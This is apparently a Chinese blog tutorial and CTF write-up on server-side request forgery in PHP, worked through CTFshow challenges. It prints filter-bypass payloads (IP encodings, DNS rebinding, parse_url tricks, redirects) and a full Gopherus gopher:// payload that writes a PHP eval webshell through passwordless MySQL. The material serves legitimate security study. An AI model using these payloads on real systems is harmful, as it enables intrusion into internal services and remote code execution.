本文最后更新于:2022年3月7日晚上8点28分
什么是SSRF?
该部分摘自CTF Wiki
地址:https://ctf-wiki.org/web/ssrf/
SSRF,Server-Side Request Forgery,服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一个漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。
漏洞形成的原因大多是因为服务端提供了从其他服务器应用获取数据的功能且没有对目标地址作过滤和限制。
攻击者可以利用 SSRF 实现的攻击主要有 5 种:
- 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息
- 攻击运行在内网或本地的应用程序(比如溢出)
- 对内网 WEB 应用进行指纹识别,通过访问默认文件实现
- 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(比如 Struts2,sqli 等)
- 利用
file
协议读取本地文件等
有关SSRF函数介绍
在PHP中,涉及SSRF漏洞的函数如下
1 2 3
| curl_exec() file_get_contents() fsockopen()
|
curl_exec()
常见的利用代码如下:
1 2 3 4 5 6 7 8 9 10 11 12
| <?php highlight_file(__FILE__); function curl($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); }
$url = $_GET['url']; curl($url);
|
访问下方链接结果如下:
1
| http://lxxx:8888/ssrf/1.php?url=https://www.baidu.com
|

file_get_contents()
这个函数就比较常见了,通常利用方式如下:
1 2 3 4
| <?php highlight_file(__FILE__); $url = $_GET['url'];; echo file_get_contents($url);
|
访问下方链接结果如下:
1
| http://lxxx:8888/ssrf/1.php?url=https://www.baidu.com
|

fsockopen()
通常来说,大部分PHP都不会开启fsockopen(),因为利用难度较高
利用代码通常如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php highlight_file(__FILE__); function GetFile($host,$port,$link) { $fp = fsockopen($host, intval($port), $errno, $errstr, 30); if (!$fp) { echo "$errstr (error number $errno) \n"; } else { $out = "GET $link HTTP/1.1\r\n"; $out .= "Host: $host\r\n"; $out .= "Connection: Close\r\n\r\n"; $out .= "\r\n"; fwrite($fp, $out); $contents=''; while (!feof($fp)) { $contents.= fgets($fp, 1024); } fclose($fp); return $contents; } } $host = $_GET["host"]; $port = $_GET["port"]; $link = $_GET["link"]; GetFile($host, $port, $link);
|

SSRF利用演示
注
该部分文章将使用CTFshow中的SSRF十道题进行分析,分析内容包括各种trick的绕过等等
url可控、无过滤SSRF
题目代码如下:
1 2 3 4 5 6 7 8 9 10 11
| <?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); ?>
|
本题flag在flag.php
中,需要用户从本地访问

在POST中传入url=http://127.0.0.1/flag.php
即可
1 2
| POSTDATA: url=http://127.0.0.1/flag.php
|
句号绕过ip正则
题目的正则如下:
1 2
| if($x['scheme']==='http'||$x['scheme']==='https') if(!preg_match('/localhost|127.0.0/'))
|
这里过滤了localhost
以及127.0.0.1
,而我们可以使用句号代替.
绕过正则
1 2
| POSTDATA url=http://127。0。0。1/flag.php
|
ip进制绕过正则
题目正则如下:
1 2
| if($x['scheme']==='http'||$x['scheme']==='https') if(!preg_match('/localhost|127\.0\.|\。/i', $url))
|
过滤了句号,这里可以使用ip
进制绕过正则
1 2 3 4
| <?php echo ip2long("127.0.0.1"); ?>
|
因此payload为:
1 2
| POSTDATA: url=http://2130706433/flag.php
|
当然,除了十进制也可以使用8
进制和16
进制进行绕过
例如:
- 0300.0250.0.1(8进制
192.168.0.1
)
- 0xC0.0xA8.0.1(十六进制
192.168.0.1
)
- 0xC0A80001(十六进制整数
192.168.0.1
)
域名绑定内网ip绕过
题目正则如下:
1 2
| if($x['scheme']==='http'||$x['scheme']==='https') if(!preg_match('/localhost|1|0|。/i', $url))
|
这里过滤了1
和0
,尝试使用域名DNS解析到127.0.0.1
进行绕过,当然也可以使用dnslog
上给的域名,因为dnslog
经过域名服务器解析后返回的ip结果为127.0.0.1
payload为:
1 2
| POSTDATA: url=http://r92nqj.dnslog.cn/flag.php
|
简写ip简化长度
1 2 3
| if($x['scheme']==='http'||$x['scheme']==='https') $host=$x['host']; if((strlen($host)<=5))
|
这里限制host
的长度要小于等于5,而本地127.0.0.1
可以简写为127.1
因此payload为:
1
| url=http://127.1/flag.php
|
1 2 3 4 5 6 7 8 9
| ~ ping 127.1 PING 127.1 (127.0.0.1): 56 data bytes 64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.100 ms 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.198 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.072 ms ^C --- 127.1 ping statistics --- 3 packets transmitted, 3 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 0.072/0.123/0.198/0.054 ms
|
当然,这里的长度可以更短,在Linux中ping 0
解析为127.0.0.1
,在Windows和Mac中ping 0
解析为0.0.0.0
1 2 3 4 5 6 7 8 9
| root@iZuf6bc3g3b033kssfaf3Z:~ ping 0 PING 0 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.049 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.043 ms 64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.049 ms ^C --- 0 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2042ms rtt min/avg/max/mdev = 0.043/0.047/0.049/0.003 ms
|
30x跳转
302
在自己的vps上面新建一个a.php
1 2
| <?php header("Location:http://127.0.0.1/flag.php");
|
如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用跳转的方式来进行绕过。
307
和302跳转类似,区别在于307跳转会将POST数据也带过去
DNS重绑定
一个常用的防护思路是:对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就禁止该次请求。
但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,可以进行DNS重绑定攻击。
要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。这样就可以进行攻击了,完整的攻击流程为:
- 服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
- 对于获得的IP进行判断,发现为非黑名单IP,则通过验证
- 服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
- 由于已经绕过验证,所以服务器端返回访问内网资源的结果。
当然也有一些在线网站可以完成DNS重绑定,如ceye.io

这样设置以后,用nslookup
查询r.abcdef.ceye.io
的解析记录,就会有两种结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| root@iZuf6bc3g3b033kssfaf3Z:~# nslookup r.abcdef.ceye.io Server: 127.0.0.53 Address: 127.0.0.53
Non-authoritative answer: Name: r.abcdef.ceye.io Address: 1.1.1.1 ** server can't find r.abcdef.ceye.io: NXDOMAIN
root@iZuf6bc3g3b033kssfaf3Z:~# nslookup r.abcdef.ceye.io Server: 127.0.0.53 Address: 127.0.0.53
Non-authoritative answer: Name: r.abcdef.ceye.io Address: 127.0.0.1 ** server can't find r.abcdef.ceye.io: NXDOMAIN
|
因此就可以解决下方CTFshow的这一题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ $ip = gethostbyname($x['host']); echo '</br>'.$ip.'</br>'; if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { die('ip!'); }
echo file_get_contents($_POST['url']); } else{ die('scheme'); } ?>
|
传payload:
1
| url=http://r.abcdef.ceye.io/flag.php
|
因为是随机事件,拿到flag的概率大约为1/4,多试几次就可以出来了
绕过parse_url
还是直接看CTFshow上的源代码
1 2 3 4 5 6 7 8
| <?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){ echo file_get_contents($url); }
|
这里要求经过parse_url
解析后的URL,以http://ctf
开头,并且以show
结尾
以show
结尾比较好办,可以是GET传参形式?a=show
,也可以标签形式#show
而题目中还要求以http://ctf
开头,这里就涉及到parse_url
的解析问题了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php $a = parse_url("http://ctf.@127.0.0.1/flag.php?show"); var_dump($a);
|
因此对于这题,payload为:
1
| url=http://ctf.@127.0.0.1/flag.php?show
|
SSRF打无密码MySQL
对于CTFshow中打无密码MySQL,其中往check.php
的包如下:

在returl
处存在SSRF
具体方法如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| ~ python gopherus.py --exploit mysql
________ .__ / _____/ ____ ______ | |__ ___________ __ __ ______ / \ ___ / _ \\____ \| | \_/ __ \_ __ \ | \/ ___/ \ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \ \______ /\____/| __/|___| /\___ >__| |____//____ > \/ |__| \/ \/ \/
author: $_SpyD3r_$
For making it work username should not be password protected!!!
Give MySQL username: root Give query to execute: select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php"
Your gopher link is ready to do SSRF :
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%46%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%22%3b%01%00%00%00%01
-----------Made-by-SpyD3r-----------
|
将下划线后面的进行二次编码传给returl
,访问1.php
即可getshell
SSRF打Redis
SSRF对Redis的威胁也是相当大的,具体原理因为笔者能力有限(只会打,不懂原理
这里给一个先知社区的文章,讲解的比较详细
利用IDN绕过
一些网络访问工具如Curl等是支持国际化域名(Internationalized Domain Name,IDN)的,国际化域名又称特殊字符域名,是指部分或完全使用特殊的文字或字母组成的互联网域名。
在这些字符中,部分字符会在访问时做一个等价转换,例如 ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ
和 example.com
等同。利用这种方式,可以用 ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩
等字符绕过内网限制。
后记
因笔者能力有限,目前只写了关于PHP的SSRF,实际上在Java和Python中也存在相应的SSRF漏洞,之后有能力有时间再补充。
参考资料